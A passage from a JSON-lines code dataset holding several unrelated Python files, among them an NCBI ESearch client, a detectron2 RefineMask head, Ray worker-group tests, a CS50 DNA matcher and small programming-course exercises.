app.entrezpy.esearch import esearch_analyzer\nfrom app.entrezpy.esearch import esearch_request\n\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logging.StreamHandler())\n\n\nclass Esearcher(query.EutilsQuery):\n \"\"\"Esearcher implements ESearch queries to NCBI's E-Utilities. Esearch queries\n return UIDs or WebEnv/QueryKey references to Entrez' History server.\n Esearcher implments :meth:`query.EutilsQuery.inquire` which\n analyzes the first result and automatically configures subseqeunt requests to\n get all queried UIDs if required.\n \"\"\"\n def __init__(self, tool, email, apikey=None, apikey_var=None, threads=None, qid=None):\n super().__init__('esearch.fcgi', tool, email, apikey, apikey_var, threads, qid)\n\n def inquire(self, parameter, analyzer=esearch_analyzer.EsearchAnalyzer()):\n \"\"\"Implements :meth:`query.EutilsQuery.inquire` and configures\n follow-up requests if required.\n\n :param dict parameter: ESearch parameter\n :param analyzer analyzer: analyzer for ESearch results, default is\n :class:`esearch_analyzer.EsearchAnalyzer`\n :return: analyzer instance or None if request errors have been encountered\n :rtype: :class:`esearch_analyzer.EsearchAnalyzer` or None\n \"\"\"\n p = esearch_parameter.EsearchParameter(parameter)\n logger.debug(json.dumps({__name__ : {'Parameter' : p.dump()}}))\n self.monitor_start(p)\n follow_up = self.initial_search(p, analyzer)\n if not follow_up:\n self.monitor_stop()\n if not analyzer.isSuccess():\n return None\n return analyzer\n self.monitor_update(follow_up)\n logger.debug(json.dumps({__name__:{'Follow-up': follow_up.dump()}}))\n req_size = follow_up.reqsize\n for i in range(1, follow_up.expected_requests):\n if (i * req_size + req_size) > follow_up.retmax:\n logger.debug(json.dumps({__name__:{'adjust-reqsize':\n {'request' : i,\n 'start' : (i*follow_up.reqsize),\n 'end' : i*req_size+req_size,\n 'query_size' : follow_up.reqsize,\n 'adjusted-reqsize' : follow_up.retmax%req_size}}}))\n req_size = follow_up.retmax % req_size\n logger.debug(json.dumps({__name__:{'request':i,\n 'expected':follow_up.expected_requests,\n 'start':(i*follow_up.reqsize),\n 'end':(i*follow_up.reqsize)+req_size,\n 'reqsize':req_size}}))\n self.add_request(esearch_request.EsearchRequest(self.eutil,\n follow_up,\n (i*follow_up.reqsize),\n req_size), analyzer)\n self.request_pool.drain()\n self.monitor_stop()\n if self.check_requests() != 0:\n logger.debug(json.dumps({__name__ : {'Error': 'failed follow-up'}}))\n return None\n return analyzer\n\n def initial_search(self, parameter, analyzer):\n \"\"\"Does first request and triggers follow-up if required or possible.\n\n :param parameter: Esearch parameter instances\n :type parameter: :class:`esearch_parameter.EsearchParamater`\n :param analyzer: Esearch analyzer instance\n :type analyzer: :class:`esearch_analyzer.EsearchAnalyzer`\n :return: follow-up parameter or None\n :rtype: :class:`esearch_parameter.EsearchParamater` or None\n \"\"\"\n self.add_request(esearch_request.EsearchRequest(self.eutil,\n parameter,\n parameter.retstart,\n parameter.reqsize), analyzer)\n self.request_pool.drain()\n if self.check_requests() != 0:\n logger.info(json.dumps({__name__: {'Request-Error': 'inital search'}}))\n return None\n if not analyzer.isSuccess():\n logger.info(json.dumps({__name__: {'Response-Error': 'inital search'}}))\n return None\n if not parameter.uilist: # we care only about count\n return None\n if parameter.retmax == 0: # synonym for uilist\n return None\n if reachedLimit(parameter, analyzer):# reached limit in first search\n return None\n return configure_follow_up(parameter, analyzer) # We need mooaahhr\n\n def check_requests(self):\n \"\"\"Test for request errors\n\n :return: 1 if request errors else 0\n :rtype: int\n \"\"\"\n if not self.hasFailedRequests():\n logger.info(json.dumps({__name__ : {'Query status' : {self.id : 'OK'}}}))\n return 0\n logger.info(json.dumps({__name__ : {'Query status' : {self.id : 'failed'}}}))\n logger.debug(json.dumps({__name__ : {'Query status' :\n {self.id : 'failed',\n 'request-dumps' : [x.dump_internals()\n for x in self.failed_requests]}}}))\n return 1\n\ndef configure_follow_up(parameter, analyzer):\n \"\"\"Adjusting EsearchParameter to follow-up results based on the initial\n Esearch result. Fetch remaining UIDs using the history server.\n\n :param analyzer: Esearch analyzer instance\n :type analyzer: :class:`entrezpy.search.esearch_analyzer.EsearchAnalyzer`\n :param parameter: Initial Esearch parameter\n :type result: :class:`entrezpy.search.esearch_parameter.EsearchParameter`\n \"\"\"\n\n parameter.term = None\n if not parameter.retmax:\n parameter.retmax = analyzer.query_size()\n analyzer.adjust_followup(parameter)\n parameter.webenv = analyzer.reference().webenv\n parameter.querykey = analyzer.reference().querykeys[0]\n parameter.calculate_expected_requests(reqsize=parameter.reqsize)\n parameter.check()\n return parameter\n\ndef reachedLimit(parameter, analyzer):\n \"\"\"Checks if the set limit has been reached\n\n :rtype: bool\n \"\"\"\n if analyzer.query_size() == analyzer.size(): # fetched all UIDs\n return True\n if not parameter.retmax: # We have no limit\n return False\n if analyzer.size() == parameter.retmax: # Fetched limit set by retmax\n return True\n return False\n","repo_name":"inab-certh/PVClinical","sub_path":"gentelella/app/entrezpy/esearch/esearcher.py","file_name":"esearcher.py","file_ext":"py","file_size_in_byte":6503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"11498478750","text":"from project.services.main_service import MainService\nfrom project.services.secondary_service import SecondaryService\nfrom project.robots.male_robot import MaleRobot\nfrom project.robots.female_robot import FemaleRobot\n\n\nclass RobotsManagingApp:\n def __init__(self):\n self.robots = []\n self.services = []\n\n def add_service(self, service_type: str, name: str) -> str:\n if service_type == \"MainService\":\n service = MainService(name)\n elif service_type == \"SecondaryService\":\n service = SecondaryService(name)\n else:\n raise Exception(\"Invalid service type!\")\n self.services.append(service)\n return f\"{service_type} is successfully added.\"\n\n def add_robot(self, robot_type: str, name: str, kind: str, price: float) -> str:\n if robot_type == \"MaleRobot\":\n robot = MaleRobot(name, kind, price)\n elif robot_type == \"FemaleRobot\":\n robot = FemaleRobot(name, kind, price)\n else:\n raise Exception(\"Invalid robot type!\")\n self.robots.append(robot)\n return f\"{robot_type} is successfully added.\"\n\n def add_robot_to_service(self, robot_name: str, service_name: str) -> str:\n robot = next((r for r in self.robots if r.name == robot_name), None)\n service = next((s for s in self.services if s.name == service_name), None)\n if isinstance(robot, FemaleRobot) and not isinstance(service, SecondaryService):\n return \"Unsuitable service.\"\n if isinstance(robot, MaleRobot) and not isinstance(service, MainService):\n return \"Unsuitable service.\"\n if robot in service.robots:\n return f\"{robot_name} is already in {service_name}.\"\n if len(service.robots) >= service.capacity:\n raise Exception(\"Not enough capacity for this robot!\")\n self.robots.remove(robot)\n service.robots.append(robot)\n return f\"Successfully added {robot_name} to {service_name}.\"\n\n def remove_robot_from_service(self, robot_name: str, service_name: str) -> str:\n service = next((s for s in self.services if s.name == service_name), None)\n robot = next((r for r in service.robots if r.name == robot_name), None)\n if robot is None:\n raise Exception(\"No such robot in this service!\")\n service.robots.remove(robot)\n self.robots.append(robot)\n return f\"Successfully removed {robot_name} from {service_name}.\"\n\n def feed_all_robots_from_service(self, service_name: str) -> str:\n service = next((s for s in self.services if s.name == service_name), None)\n if service is None:\n raise Exception(\"Service does not exist!\")\n num_fed = 0\n for robot in service.robots:\n robot.eating()\n num_fed += 1\n return f\"Robots fed: {num_fed}.\"\n\n def service_price(self, service_name: str) -> str:\n service = next((s for s in self.services if s.name == service_name), None)\n if service is None:\n raise Exception(\"Service does not exist!\")\n total_price = sum([robot.price for robot in service.robots])\n return f\"The value of service {service_name} is {total_price:.2f}.\"\n\n def __str__(self):\n result = \"\"\n for service in self.services:\n result += f\"{service.details()}\\n\"\n return result.rstrip()\n\n","repo_name":"PetarWho/SoftUni","sub_path":"Python OOP/Exam/project/project/robots_managing_app.py","file_name":"robots_managing_app.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28083402054","text":"#!python3\nimport os, sys\nimport sqlite3\n\n#\n# Ensure we're using the same database filename throughout.\n# It doesn't matter what this is called or where it is:\n# sqlite3 will just accept anything.\n#\nDATABASE_FILEPATH = \"bookings.db\"\ndef create_database():\n \"\"\"Connect to the database, read the CREATE statements and split\n them at the semicolon into individual statements. Once each\n statement has been executed, close the connection.\n \"\"\"\n #\n # Since we might be re-running this, delete the file and rebuild\n # it if necessary.\n #\n if os.path.exists(DATABASE_FILEPATH):\n os.remove(DATABASE_FILEPATH)\n\n #\n # A database cursor the the Python mechanism for running something\n # against any database. You create a cursor and then .execute\n # SQL statements through it.\n #\n db = sqlite3.connect(DATABASE_FILEPATH)\n q = db.cursor()\n\n #\n # Read all the contents of create.sql in one gulp\n #\n sql = open(\"create.sql\").read()\n #\n # Split it into individual statements, breaking on the semicolon\n #\n statements = sql.split(\";\")\n #\n # Execute each of the individual statements against the database\n #\n for statement in statements:\n q.execute(statement)\n\n #\n # Close everything\n #\n q.close()\n db.commit()\n db.close()\n\nif __name__ == '__main__':\n print(\"About to create database %s\" % DATABASE_FILEPATH)\n create_database()\n print(\"Finished\")\n","repo_name":"OneScreenfulOfPython/booking-system","sub_path":"step01/bookings.py","file_name":"bookings.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"5"} +{"seq_id":"74752851030","text":"from sys import argv, exit\nimport csv\n\ndef main():\n if (len(argv) != 3):\n print(\"invalid\")\n exit(1)\n\n\n with open(argv[2], \"r\") as sequence:\n reader = csv.reader(sequence)\n for i in reader:\n text = i[0]\n\n\n #list of keys\n keys = []\n with open(argv[1], \"r\") as file:\n reader=csv.reader(file)\n for i in reader:\n keys.append(i)\n break\n key = keys[0][1:]\n #print(key[0])\n\n #list of datas\n db = []\n with open(argv[1], \"r\") as file:\n reader=csv.DictReader(file)\n for i in reader:\n for k in range(len(key)):\n i[key[k]] = int(i[key[k]])\n db.append(i)\n #print(db)\n\n match(db, key, text)\n\n\ndef maxx(text, key):\n dictt = {}\n k=len(key)\n count=0\n i=0\n dictt[count]=0\n\n while(i < len(text)):\n j=i+k\n if text[i:j] == key:\n dictt[count]+=1\n i+=k #i+=1 yani i++ yerine i+=4 yani i+=k şeklinde iterate ediyor\n else:\n count+=1\n dictt[count]=0\n i+=1 #yanlışı 4(k) atlayamayız\n temp=0\n for i in dictt:\n if(temp 0.1] = 1\n pos_boundary_targets[pos_boundary_targets <= 0.1] = 0\n pos_boundary_targets = pos_boundary_targets.squeeze(1)\n\n # neg_boundary\n neg_boundary_targets = F.conv2d(1 - pad_target, laplacian_kernel, padding=0)\n neg_boundary_targets = neg_boundary_targets.clamp(min=0) / float(kernel_size ** 2)\n neg_boundary_targets[neg_boundary_targets > 0.1] = 1\n neg_boundary_targets[neg_boundary_targets <= 0.1] = 0\n neg_boundary_targets = neg_boundary_targets.squeeze(1)\n\n # generate block target\n block_target = torch.zeros_like(mask_target).long().requires_grad_(False)\n boundary_inds = (pos_boundary_targets + neg_boundary_targets) > 0\n foreground_inds = (mask_target - pos_boundary_targets) > 0\n block_target[boundary_inds] = 1\n block_target[foreground_inds] = 2\n return block_target\n\n\nclass RefineCrossEntropyLoss(nn.Module):\n\n def __init__(self,\n stage_instance_loss_weight=[1.0, 1.0, 1.0, 1.0],\n semantic_loss_weight=1.0,\n boundary_width=2,\n start_stage=1):\n super(RefineCrossEntropyLoss, self).__init__()\n\n self.stage_instance_loss_weight = stage_instance_loss_weight\n self.semantic_loss_weight = semantic_loss_weight\n self.boundary_width = boundary_width\n self.start_stage = start_stage\n\n def forward(self, stage_instance_preds, semantic_pred, stage_instance_targets, semantic_target):\n loss_mask_set = []\n for idx in range(len(stage_instance_preds)):\n instance_pred, instance_target = stage_instance_preds[idx].squeeze(1), stage_instance_targets[idx]\n if len(instance_pred) == 0 :\n zero_loss = torch.zeros((1, ), device=instance_pred.device, dtype=torch.float32)[0]\n loss_mask_set.append(zero_loss)\n continue\n if idx <= self.start_stage:\n loss_mask = F.binary_cross_entropy_with_logits(instance_pred, instance_target)\n loss_mask_set.append(loss_mask)\n pre_pred = instance_pred.sigmoid() >= 0.5\n\n else:\n pre_boundary = generate_block_target(pre_pred.float(), boundary_width=self.boundary_width) == 1\n boundary_region = pre_boundary.unsqueeze(1)\n\n target_boundary = generate_block_target(\n stage_instance_targets[idx - 1].float(), boundary_width=self.boundary_width) == 1\n boundary_region = boundary_region | target_boundary.unsqueeze(1)\n\n boundary_region = F.interpolate(\n boundary_region.float(),\n instance_pred.shape[-2:], mode='bilinear', align_corners=True)\n boundary_region = (boundary_region >= 0.5).squeeze(1)\n\n loss_mask = F.binary_cross_entropy_with_logits(instance_pred, instance_target, reduction='none')\n loss_mask = loss_mask[boundary_region].sum() / boundary_region.sum().clamp(min=1).float()\n # loss_mask = F.binary_cross_entropy_with_logits(instance_pred, instance_target)\n loss_mask_set.append(loss_mask)\n\n # generate real mask pred, set boundary width as 1, same as inference\n pre_boundary = generate_block_target(pre_pred.float(), boundary_width=1) == 1\n\n pre_boundary = F.interpolate(\n pre_boundary.unsqueeze(1).float(),\n instance_pred.shape[-2:], mode='bilinear', align_corners=True) >= 0.5\n\n pre_pred = F.interpolate(\n stage_instance_preds[idx - 1],\n instance_pred.shape[-2:], mode='bilinear', align_corners=True)\n\n pre_pred[pre_boundary] = stage_instance_preds[idx][pre_boundary]\n pre_pred = pre_pred.squeeze(1).sigmoid() >= 0.5\n\n assert len(self.stage_instance_loss_weight) == len(loss_mask_set)\n loss_instance = sum([weight * loss for weight, loss in zip(self.stage_instance_loss_weight, loss_mask_set)])\n loss_semantic = self.semantic_loss_weight * \\\n F.binary_cross_entropy_with_logits(semantic_pred.squeeze(1), semantic_target)\n\n return loss_instance, loss_semantic\n\n\nclass ConvModule(nn.Module):\n \n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, dilation=1, **kwargs):\n super().__init__()\n self.conv = nn.Conv2d(\n in_channels,\n out_channels,\n kernel_size,\n stride,\n padding=padding,\n dilation=dilation\n )\n self.activate = nn.ReLU()\n self.init_weights()\n \n def _kaiming_init(self, module,\n a=0,\n mode='fan_out',\n nonlinearity='relu',\n bias=0,\n distribution='normal'):\n assert distribution in ['uniform', 'normal']\n if hasattr(module, 'weight') and module.weight is not None:\n if distribution == 'uniform':\n nn.init.kaiming_uniform_(\n module.weight, a=a, mode=mode, nonlinearity=nonlinearity)\n else:\n nn.init.kaiming_normal_(\n module.weight, a=a, mode=mode, nonlinearity=nonlinearity)\n if hasattr(module, 'bias') and module.bias is not None:\n nn.init.constant_(module.bias, bias)\n\n def init_weights(self):\n self._kaiming_init(self.conv, nonlinearity='relu')\n\n def forward(self, x, activate=True):\n x = self.conv(x)\n x = self.activate(x)\n return x\n\n\nclass MultiBranchFusion(nn.Module):\n\n def __init__(self, feat_dim, dilations=[1, 3, 5]):\n super(MultiBranchFusion, self).__init__()\n\n for idx, dilation in enumerate(dilations):\n self.add_module(f'dilation_conv_{idx + 1}', ConvModule(\n feat_dim, feat_dim, kernel_size=3, padding=dilation, dilation=dilation))\n\n self.merge_conv = ConvModule(feat_dim, feat_dim, kernel_size=1)\n\n def forward(self, x):\n feat_1 = self.dilation_conv_1(x)\n feat_2 = self.dilation_conv_2(x)\n feat_3 = self.dilation_conv_3(x)\n # out_feat = (feat_1 + feat_2 + feat_3)\n # import pdb\n # pdb.set_trace()\n out_feat = self.merge_conv(feat_1 + feat_2 + feat_3)\n return out_feat\n\n\nclass SFMStage(nn.Module):\n\n def __init__(self,\n semantic_in_channel=256,\n semantic_out_channel=256,\n instance_in_channel=256,\n instance_out_channel=256,\n dilations=[1, 3, 5],\n out_size=14,\n num_classes=80,\n semantic_out_stride=4,\n mask_use_sigmoid=False,\n ):\n super(SFMStage, self).__init__()\n\n self.semantic_out_stride = semantic_out_stride\n self.mask_use_sigmoid = mask_use_sigmoid\n self.num_classes = num_classes\n\n # for extracting instance-wise semantic feats\n self.semantic_transform_in = nn.Conv2d(semantic_in_channel, semantic_out_channel, 1)\n # TODO\n\n self.semantic_roi_extractor = ROIPooler(\n output_size=out_size,\n scales= [1./self.semantic_out_stride],\n sampling_ratio=0,\n pooler_type='ROIAlignV2'\n )\n\n # self.semantic_roi_extractor = build_roi_extractor(dict(\n # type='SingleRoIExtractor',\n # roi_layer=dict(type='RoIAlign', output_size=out_size, sampling_ratio=0),\n # out_channels=semantic_out_channel,\n # featmap_strides=[semantic_out_stride, ]))\n self.semantic_transform_out = nn.Conv2d(semantic_out_channel, semantic_out_channel, 1)\n\n self.instance_logits = nn.Conv2d(instance_in_channel, num_classes, 1)\n\n fuse_in_channel = instance_in_channel + semantic_out_channel + 2\n self.fuse_conv = nn.ModuleList([\n nn.Conv2d(fuse_in_channel, instance_in_channel, 1),\n MultiBranchFusion(instance_in_channel, dilations=dilations)])\n\n self.fuse_transform_out = nn.Conv2d(instance_in_channel, instance_out_channel - 2, 1)\n # self.upsample = build_upsample_layer(upsample_cfg.copy())\n self.upsample = nn.Upsample(scale_factor=2, mode='bilinear')\n self.relu = nn.ReLU(inplace=True)\n\n self._init_weights()\n\n def _init_weights(self):\n for m in [self.semantic_transform_in, self.semantic_transform_out, self.instance_logits, self.fuse_transform_out]:\n nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n nn.init.constant_(m.bias, 0)\n\n for m in self.fuse_conv:\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n nn.init.constant_(m.bias, 0)\n\n def forward(self, instance_feats, semantic_feat, semantic_pred, rois, roi_labels):\n concat_tensors = [instance_feats]\n\n # instance-wise semantic feats\n semantic_feat = self.relu(self.semantic_transform_in(semantic_feat))\n # ins_semantic_feats = self.semantic_roi_extractor([semantic_feat,], rois)\n ins_semantic_feats = self.semantic_roi_extractor([semantic_feat], rois)\n ins_semantic_feats = self.relu(self.semantic_transform_out(ins_semantic_feats))\n concat_tensors.append(ins_semantic_feats)\n\n # instance masks\n instance_preds = self.instance_logits(instance_feats)[torch.arange(len(roi_labels)), roi_labels][:, None]\n _instance_preds = instance_preds.sigmoid() if self.mask_use_sigmoid else instance_preds\n instance_masks = F.interpolate(_instance_preds, instance_feats.shape[-2], mode='bilinear', align_corners=True)\n concat_tensors.append(instance_masks)\n\n # instance-wise semantic masks\n _semantic_pred = semantic_pred.sigmoid() if self.mask_use_sigmoid else semantic_pred\n ins_semantic_masks = self.semantic_roi_extractor([_semantic_pred], rois)\n # ins_semantic_masks = roi_align(\n # _semantic_pred, rois, instance_feats.shape[-2:], 1.0 / self.semantic_out_stride, algined=True)\n # ins_semantic_masks = roi_align(\n # _semantic_pred, rois, instance_feats.shape[-2:], 1.0 / self.semantic_out_stride, 0, 'avg', True)\n ins_semantic_masks = F.interpolate(\n ins_semantic_masks, instance_feats.shape[-2:], mode='bilinear', align_corners=True)\n concat_tensors.append(ins_semantic_masks)\n\n # fuse instance feats & instance masks & semantic feats & semantic masks\n # import pdb\n # pdb.set_trace()\n fused_feats = torch.cat(concat_tensors, dim=1)\n for conv in self.fuse_conv:\n fused_feats = self.relu(conv(fused_feats))\n\n fused_feats = self.relu(self.fuse_transform_out(fused_feats))\n fused_feats = self.relu(self.upsample(fused_feats))\n\n # concat instance and semantic masks with fused feats again\n instance_masks = F.interpolate(_instance_preds, fused_feats.shape[-2], mode='bilinear', align_corners=True)\n ins_semantic_masks = F.interpolate(ins_semantic_masks, fused_feats.shape[-2], mode='bilinear', align_corners=True)\n fused_feats = torch.cat([fused_feats, instance_masks, ins_semantic_masks], dim=1)\n\n return instance_preds, fused_feats\n\n\n@ROI_MASK_HEAD_REGISTRY.register()\nclass RefineMaskHead(nn.Module):\n @configurable\n def __init__(self,\n *,\n num_convs_instance=2,\n num_convs_semantic=4,\n conv_in_channels_instance=256,\n conv_in_channels_semantic=256,\n conv_kernel_size_instance=3,\n conv_kernel_size_semantic=3,\n conv_out_channels_instance=256,\n conv_out_channels_semantic=256,\n dilations=[1, 3, 5],\n semantic_out_stride=8,\n mask_use_sigmoid=True,\n # stage_num_classes=[80, 80, 80, 80],\n stage_num_classes=[1203, 1203, 1203, 1],\n stage_sup_size=[14, 28, 56, 112],\n cls_agn = True,\n loss_cfg=dict(\n stage_instance_loss_weight=[0.25, 0.5, 0.75, 1.0],\n semantic_loss_weight=1.0,\n boundary_width=2,\n start_stage=1)\n ):\n super(RefineMaskHead, self).__init__()\n\n self.num_convs_instance = num_convs_instance\n self.conv_kernel_size_instance = conv_kernel_size_instance\n self.conv_in_channels_instance = conv_in_channels_instance\n self.conv_out_channels_instance = conv_out_channels_instance\n\n self.num_convs_semantic = num_convs_semantic\n self.conv_kernel_size_semantic = conv_kernel_size_semantic\n self.conv_in_channels_semantic = conv_in_channels_semantic\n self.conv_out_channels_semantic = conv_out_channels_semantic\n\n self.semantic_out_stride = semantic_out_stride\n self.stage_sup_size = stage_sup_size\n if cls_agn :\n stage_num_classes = [1] * len(stage_num_classes)\n self.stage_num_classes = stage_num_classes\n self.cls_agn = cls_agn\n\n self._build_conv_layer('instance')\n self._build_conv_layer('semantic')\n self.loss_func = RefineCrossEntropyLoss(**loss_cfg)\n # self.loss_func = build_loss(loss_cfg)\n\n assert len(self.stage_sup_size) > 1\n self.stages = nn.ModuleList()\n out_channel = conv_out_channels_instance\n for idx, out_size in enumerate(self.stage_sup_size[:-1]):\n in_channel = out_channel\n out_channel = in_channel // 2\n\n new_stage = SFMStage(\n semantic_in_channel=conv_out_channels_semantic,\n semantic_out_channel=in_channel,\n instance_in_channel=in_channel,\n instance_out_channel=out_channel,\n dilations=dilations,\n out_size=out_size,\n num_classes=self.stage_num_classes[idx],\n semantic_out_stride=semantic_out_stride,\n mask_use_sigmoid=mask_use_sigmoid,\n )\n\n self.stages.append(new_stage)\n\n self.final_instance_logits = nn.Conv2d(out_channel, self.stage_num_classes[-1], 1)\n self.semantic_logits = nn.Conv2d(conv_out_channels_semantic, 1, 1)\n self.relu = nn.ReLU(inplace=True)\n self.refine_mask = True\n\n @classmethod\n def from_config(cls, cfg, input_shape):\n semantic_out_stride = cfg.MODEL.REFINE_MASK.SEMANTIC_OUT_STRIDE\n return {'semantic_out_stride': semantic_out_stride}\n\n def _build_conv_layer(self, name):\n out_channels = getattr(self, f'conv_out_channels_{name}')\n conv_kernel_size = getattr(self, f'conv_kernel_size_{name}')\n\n convs = []\n for i in range(getattr(self, f'num_convs_{name}')):\n in_channels = getattr(self, f'conv_in_channels_{name}') if i == 0 else out_channels\n conv = ConvModule(in_channels, out_channels, conv_kernel_size, dilation=1, padding=1)\n convs.append(conv)\n\n self.add_module(f'{name}_convs', nn.ModuleList(convs))\n\n def init_weights(self):\n for m in [self.final_instance_logits, self.semantic_logits]:\n nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n nn.init.constant_(m.bias, 0)\n\n \n def forward(self, x, seg_x, instances, sem_seg_gt):\n for conv in self.instance_convs :\n seg_x = conv(seg_x)\n for conv in self.semantic_convs :\n x = conv(x)\n \n seg_pred = self.semantic_logits(seg_x)\n\n stage_ins_preds = []\n # TODO\n rois = [x.proposal_boxes if self.training else x.pred_boxes for x in instances]\n roi_labels = torch.cat([x.gt_classes if self.training else x.pred_classes for x in instances])\n if self.cls_agn :\n roi_labels = roi_labels.clamp(max=0)\n for i, stage in enumerate(self.stages) :\n ins_preds, x = stage(x, seg_x, seg_pred, rois, roi_labels)\n stage_ins_preds.append(ins_preds)\n \n ins_preds = self.final_instance_logits(x)\n stage_ins_preds.append(ins_preds)\n if self.training :\n stage_instance_targets = self.get_mask_targets(stage_ins_preds, seg_pred, instances)\n seg_pred = seg_pred.float()\n sem_seg_gt = (sem_seg_gt > 0).float()\n seg_pred = F.interpolate(seg_pred, scale_factor=self.semantic_out_stride, mode='bilinear')\n loss_mask, loss_seg = self.loss_func(stage_ins_preds, seg_pred, stage_instance_targets, sem_seg_gt)\n return dict(loss_mask=loss_mask, loss_seg=loss_seg)\n else :\n stage_ins_preds = stage_ins_preds[1:]\n for idx in range(len(stage_ins_preds) - 1):\n instance_pred = stage_ins_preds[idx].squeeze(1).sigmoid() >= 0.5\n non_boundary_mask = (generate_block_target(instance_pred, boundary_width=1) != 1).unsqueeze(1)\n non_boundary_mask = F.interpolate(\n non_boundary_mask.float(),\n stage_ins_preds[idx + 1].shape[-2:], mode='bilinear', align_corners=True) >= 0.5\n pre_pred = F.interpolate(\n stage_ins_preds[idx],\n stage_ins_preds[idx + 1].shape[-2:], mode='bilinear', align_corners=True)\n stage_ins_preds[idx + 1][non_boundary_mask] = pre_pred[non_boundary_mask]\n ins_preds = stage_ins_preds[-1]\n mask_rcnn_inference(ins_preds, instances)\n return instances\n \n\n def get_mask_targets(self, stage_ins_preds, seg_pred, instances):\n stage_gt_masks = []\n semantic_gts = []\n\n for ins_pred in stage_ins_preds :\n stage_gt_masks.append(get_gt_mask(ins_pred, instances))\n \n stage_gt_masks = [x.to(dtype=torch.float32) for x in stage_gt_masks]\n return stage_gt_masks\n\n\n def loss(self, stage_instance_preds, semantic_pred, stage_instance_targets, semantic_target):\n\n loss_instance, loss_semantic = self.loss_func(\n stage_instance_preds, semantic_pred, stage_instance_targets, semantic_target)\n\n return dict(loss_instance=loss_instance), dict(loss_semantic=loss_semantic)\n\n\nif __name__ == '__main__':\n # head = RefineMaskHead()\n # from detectron2.structures import Boxes\n # import torch\n # a = torch.rand(16,256,14,14)\n # b = torch.rand(16,256,128,128)\n # rois = torch.zeros(16,4)\n # rois[:,2:] = 1\n # rois = Boxes(rois)\n # rois = [rois] * 16\n # print(head.__class__)\n # result = head(a,b,rois)\n\n net = ConvModule(256,256,kernel_size=1,padding=1,dilation=0).cuda()\n a = torch.rand(63,256,14,14).cuda()\n\n result = net(a)\n print(result.shape)","repo_name":"yoctta/XPaste","sub_path":"xpaste/modeling/roi_heads/refine_mask_head.py","file_name":"refine_mask_head.py","file_ext":"py","file_size_in_byte":21252,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"5"} +{"seq_id":"43521688655","text":"budget = float(input())\nnumber_of_nights = int(input())\nprice_per_night = float(input())\npercent_extra_costs = int(input())\nif number_of_nights > 7:\n price_per_night *= 0.95\ntotal_price = number_of_nights * price_per_night\ntotal = ((percent_extra_costs / 100) * budget) + total_price\ndiff = budget - total\nif diff >= 0:\n print(f\"Ivanovi will be left with {diff:.2f} leva after vacation.\")\nelse:\n print(f\"{abs(diff):.2f} leva needed.\")\n","repo_name":"kumchovylcho/softuni","sub_path":"Programming Basics - Python/PB_exams/Exam_6_7_july_2019/Family_trip.py","file_name":"Family_trip.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"18988676143","text":"from timeit import default_timer as timer\nfrom typing import List\n\nclass Solution:\n def __init__(self, intervals):\n self.intervals = intervals\n print(\"init\")\n\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n intervals.sort()\n\n ans = [intervals[0]]\n for i in intervals:\n if ans[-1][0] <= i[0] and ans[-1][1] >= i[0]: \n if ans[-1][1] <= i[1]: ans[-1][1] = i[1]\n else: ans.append(i)\n\n return ans\n\n def main(self):\n print(self.merge(self.intervals))\n return\n\nif __name__ == \"__main__\":\n # intervals = [[1,4],[0,4]] # [[0, 4]]\n intervals = [[1,2],[5,6],[-1,0],[-1,5],[10,50],[-6,9]]\n # intervals = [[1,3],[2,6],[8,10],[15,18]] #Output: [[1,6],[8,10],[15,18]]\n # intervals = [[1,3],[2,6],[8,10],[10,18],[11,19]] #Output: [[1,6],[8,10],[15,18]]\n # intervals = [[1,4],[4,5]] #Output: [[1,5]]\n\n sol = Solution(intervals)\n start = timer()\n sol.main()\n print(f\"{timer() - start:.20f}\")\n","repo_name":"enverbashirov/LeetCode","sub_path":"done/MergeIntervals.py","file_name":"MergeIntervals.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31496449844","text":"import time\nfrom collections import defaultdict\n\nimport pytest\n\nimport ray\nimport ray._private.ray_constants as ray_constants\nfrom ray.train._internal.worker_group import Worker, WorkerGroup, WorkerMetadata\n\n\n@pytest.fixture\ndef ray_start_2_cpus():\n address_info = ray.init(num_cpus=2)\n yield address_info\n # The code after the yield will run as teardown code.\n ray.shutdown()\n\n\n@pytest.fixture\ndef ray_start_2_cpus_and_gpus():\n address_info = ray.init(num_cpus=2, num_gpus=2)\n yield address_info\n # The code after the yield will run as teardown code.\n ray.shutdown()\n\n\n@pytest.fixture\ndef ray_start_2_cpus_and_neuron_core_accelerator():\n address_info = ray.init(num_cpus=2, resources={ray_constants.NEURON_CORES: 2})\n yield address_info\n # The code after the yield will run as teardown code.\n ray.shutdown()\n\n\ndef test_worker_creation(ray_start_2_cpus):\n assert ray.available_resources()[\"CPU\"] == 2\n wg = WorkerGroup(num_workers=2)\n assert len(wg.workers) == 2\n time.sleep(1)\n # Make sure both CPUs are being used by the actors.\n assert \"CPU\" not in ray.available_resources()\n wg.shutdown()\n\n\ndef test_worker_creation_num_cpus(ray_start_2_cpus):\n assert ray.available_resources()[\"CPU\"] == 2\n wg = WorkerGroup(num_cpus_per_worker=2)\n time.sleep(1)\n assert len(wg.workers) == 1\n # Make sure both CPUs are being used by the actor.\n assert \"CPU\" not in ray.available_resources()\n wg.shutdown()\n\n\ndef test_worker_shutdown(ray_start_2_cpus):\n assert ray.available_resources()[\"CPU\"] == 2\n wg = WorkerGroup(num_workers=2)\n time.sleep(1)\n assert \"CPU\" not in ray.available_resources()\n assert len(ray._private.state.actors()) == 2\n wg.shutdown()\n time.sleep(1)\n assert ray.available_resources()[\"CPU\"] == 2\n\n with pytest.raises(RuntimeError):\n 